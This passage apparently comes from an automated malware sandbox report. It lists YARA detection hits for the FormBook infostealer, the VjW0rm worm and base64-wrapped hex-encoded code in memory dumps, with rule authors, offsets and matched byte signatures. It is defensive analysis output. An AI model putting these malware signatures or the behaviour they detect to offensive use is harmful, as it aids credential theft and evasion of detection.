4E 6A 56 63 65 44 52 6D 58 48 67 0x32f4:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67 0x3304:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67 0x3314:$x1: 78 34 4E 6A 46 63 65 44 59 30 58 48 67
00000000.00000002.454868060.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x5940:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0x5950:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0x5f7c:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x5f8c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x5f9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x5fac:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x5fcc:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x5fec:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67
00000007.00000002.961147065.0000019173A2A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x91d0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x956a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1690d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x163b9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16a0f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x16b87:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x9f82:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x15634:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xacfa:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1bf5f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1d062:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18de1:$sqlite3step: 68 34 1C 7B E1 0x18ef4:$sqlite3step: 68 34 1C 7B E1 0x18e10:$sqlite3text: 68 38 2A 90 C5 0x18f35:$sqlite3text: 68 38 2A 90 C5 0x18e23:$sqlite3blob: 68 53 D8 7F 8C 0x18f4b:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.964554613.000002CA0370B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7858:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7bf2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xb3b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1bcd1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xb4b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xb62f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x860a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1af4c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9592:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x15247:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xdd1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x1c909:$sqlite3step: 68 34 1C 7B E1 0x1ca1c:$sqlite3step: 68 34 1C 7B E1 0x1c938:$sqlite3text: 68 38 2A 90 C5 0x1ca5d:$sqlite3text: 68 38 2A 90 C5 0x1c94b:$sqlite3blob: 68 53 D8 7F 8C 0x1ca73:$sqlite3blob: 68 53 D8 7F 8C
00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.961594354.000001559722F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x20:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x30:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x40:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0xc4:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0xd4:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0x1a8:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0x1b8:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0x224:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0x244:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0x254:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67 0x264:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67 0x274:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67 0x284:$x1: 78 34 4E 6A 46 63 65 44 59 30 58 48 67 0x294:$x1: 78 34 4E 6A 52 63 65 44 59 79 58 48 67 0x2a4:$x1: 78 34 4E 7A 4E 63 65 44 63 30 58 48 67 0x2b4:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0x4b8:$x1: 78 34 4E 7A 4A 63 65 44 59 35 58 48 67 0x620:$x1: 78 34 4E 6A 68 63 65 44 59 78 58 48 67 0x630:$x1: 78 34 4E 54 4E 63 65 44 59 31 58 48 67 0x648:$x1: 78 34 4E 7A 56 63 65 44 63 7A 58 48 67 0x658:$x1: 78 34 4E 6A 46 63 65 44 63 7A 58 48 67
00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x772c8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x77662:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x84a05:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x844b1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x84b07:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x84c7f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x7807a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x8372c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x78df2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x8a057:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x8b15a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x86ed9:$sqlite3step: 68 34 1C 7B E1 0x86fec:$sqlite3step: 68 34 1C 7B E1 0x86f08:$sqlite3text: 68 38 2A 90 C5 0x8702d:$sqlite3text: 68 38 2A 90 C5 0x86f1b:$sqlite3blob: 68 53 D8 7F 8C 0x87043:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x6345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x5df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x6447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x65bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x8819:$sqlite3step: 68 34 1C 7B E1 0x892c:$sqlite3step: 68 34 1C 7B E1 0x8848:$sqlite3text: 68 38 2A 90 C5 0x896d:$sqlite3text: 68 38 2A 90 C5 0x885b:$sqlite3blob: 68 53 D8 7F 8C 0x8983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000003.512701190.000002A0FE195000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b48:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8ee2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16285:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15d31:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16387:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x164ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x98fa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x14fac:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa672:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8d7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c9da:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18759:$sqlite3step: 68 34 1C 7B E1 0x1886c:$sqlite3step: 68 34 1C 7B E1 0x18788:$sqlite3text: 68 38 2A 90 C5 0x188ad:$sqlite3text: 68 38 2A 90 C5 0x1879b:$sqlite3blob: 68 53 D8 7F 8C 0x188c3:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.961930563.0000019175726000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000005.00000002.990991085.000002CA0506D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.439308251.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x5940:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0x5950:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0x5f7c:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x5f8c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x5f9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x5fac:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x5fcc:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x5fec:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67 0x6020:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x6030:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x6040:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0x60c4:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0x60d4:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0x61a8:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0x61b8:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0x6224:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0x6244:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0x6254:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67 0x6264:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67 0x6274:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67 0x6284:$x1: 78 34 4E 6A 46 63 65 44 59 30 58 48 67
00000009.00000002.972899634.000002A0FE18A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000000.00000003.449493611.000001C6B5DFF000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x150:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0x160:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0x78c:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x79c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x7ac:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x7bc:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x7dc:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x7fc:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67 0x830:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x840:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x850:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0x8d4:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0x8e4:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0x9b8:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0x9c8:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0xa34:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0xa54:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0xa64:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67 0xa74:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67 0xa84:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67 0xa94:$x1: 78 34 4E 6A 46 63 65 44 59 30 58 48 67
00000009.00000002.964440619.000002A0FC389000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x89ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17819:$sqlite3step: 68 34 1C 7B E1 0x1792c:$sqlite3step: 68 34 1C 7B E1 0x17848:$sqlite3text: 68 38 2A 90 C5 0x1796d:$sqlite3text: 68 38 2A 90 C5 0x1785b:$sqlite3blob: 68 53 D8 7F 8C 0x17983:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.959396798.0000015595552000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VjW0rm	Yara detected VjW0rm	Joe Security
0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8c08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8fa2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16345:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15df1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x99ba:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.448788961.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x5940:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0x5950:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0x5f7c:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x5f8c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x5f9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x5fac:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x5fcc:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x5fec:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67
00000000.00000003.438775384.000001C6B5E12000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x29d0:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0x29e0:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0x300c:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x301c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x302c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x303c:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x305c:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x307c:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67 0x30b0:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x30c0:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x30d0:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0x3154:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0x3164:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0x3238:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0x3248:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0x32b4:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0x32d4:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0x32e4:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67 0x32f4:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 48 67 0x3304:$x1: 78 34 4E 7A 52 63 65 44 49 34 58 48 67 0x3314:$x1: 78 34 4E 6A 46 63 65 44 59 30 58 48 67
00000000.00000003.438537712.000001C6B5DA0000.00000004.00000020.00020000.00000000.sdmp	SUSP_Base64_Encoded_Hex_Encoded_Code	Detects hex encoded code that has been base64 encoded	Florian Roth	0x5940:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67 0x5950:$x1: 78 34 4E 6A 5A 63 65 44 59 35 58 48 67 0x5f7c:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x5f8c:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x5f9c:$x1: 78 34 4E 6A 46 63 65 44 63 30 58 48 67 0x5fac:$x1: 78 34 4E 54 52 63 65 44 63 35 58 48 67 0x5fcc:$x1: 78 34 4E 6A 4A 63 65 44 59 35 58 48 67 0x5fec:$x1: 78 34 4E 7A 4E 63 65 44 59 31 58 48 67 0x6020:$x1: 78 34 4E 6A 4A 63 65 44 63 79 58 48 67 0x6030:$x1: 78 34 4E 7A 64 63 65 44 4A 6C 58 48 67 0x6040:$x1: 78 34 4E 6A 56 63 65 44 63 34 58 48 67 0x60c4:$x1: 78 34 4E 6A 56 63 65 44 63 77 58 48 67 0x60d4:$x1: 78 34 4E 6A 46 63 65 44 59 7A 58 48 67 0x61a8:$x1: 78 34 4E 7A 4A 63 65 44 63 79 58 48 67 0x61b8:$x1: 78 34 4E 7A 6C 63 65 44 49 34 58 48 67 0x6224:$x1: 78 34 4E 54 64 63 65 44 55 7A 58 48 67 0x6244:$x1: 78 34 4E 6A 56 63 65 44 59 78 58 48 67 0x6254:$x1: 78 34 4E 6A 56 63 65 44 52 6D 58 48 67 0x6264:$x1: 78 34 4E 6D 46 63 65 44 59 31 58 